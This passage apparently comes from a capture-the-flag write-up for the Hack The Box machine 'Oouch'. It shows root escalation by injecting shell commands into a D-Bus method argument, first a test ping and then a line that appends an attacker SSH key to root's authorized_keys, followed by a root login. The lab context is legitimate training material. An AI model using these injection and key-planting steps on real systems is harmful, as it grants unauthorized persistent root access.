www-data@aeb4525789d8:/code/oouch$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block 'string:;ping -c 1 10.10.14.84 &'

images/Untitled%2020.png

now we can add a ssh key to the /root/.ssh/authorized_keys file to get a root shell.

www-data@aeb4525789d8:/code/oouch$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block 'string:;echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDtnFIFAzLQUPr5WwcKf2ZLMSC4y/9619O/OPNFqDkhz23IuPNWbxHzqrpECJb2bONZI4CUdmdELgJgPddSuv6fnPDJucPmp30tZqN3czQjz77cwmxhJIo0fRs1lTy+H/XK4sXDjcHdi5s3sweE1Gl18cFIap4G5nLJgLmFzR5nyz80mi158gAI2xP5BuYspmi0NqZDSDpQVvO86dlg8fS4G2Bmx10pFAPj5eB0IBA7Z6Kv583x1Vo1rnwhsGKD6gRqtHyFVpCKYUqkho0II2g2LAYHgD9msNyNQQ06blMrZv5o8bDH5OqTJj0wft+cmxL3JDv8znyh6Gua+3GVpvcqVhAienyhWycQYWO3B1sceymn/GOk4WbfYD81coqRWV5nzgKHwf7ZSEBRXDhYpotbuYxUmSOlEdIQwpV1KehKkoNRyn4dG+eOBnc8MfYbKR40bOkuT8h94bN4bqIMvJDgIpBbCGIoQw/ehd4Q+3v7v81kUiSgAkyq+jzm6i/OWN0= root@kali >> /root/.ssh/authorized_keys &'
<6i/OWN0= root@kali >> /root/.ssh/authorized_keys &'
method return time=1596261824.016560 sender=:1.1 -> destination=:1.3241 serial=13 reply_serial=2
   string "Carried out :D"
www-data@aeb4525789d8:/code/oouch$

and now we can ssh to the server as root and get the root hash.

➜  Oouch git:(master) ✗ ssh -i id_rsa [email protected]
Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 25 12:54:48 2020
root@oouch:~# cat root.txt
787fe550013fe09a0e0aac184db6ae8a
root@oouch:~#
Security Engineer

I am a passionate geek who loves to break stuff and then make it again, with interests in cloud infrastructure, network security, reverse engineering, malware analysis and exploit development.

Related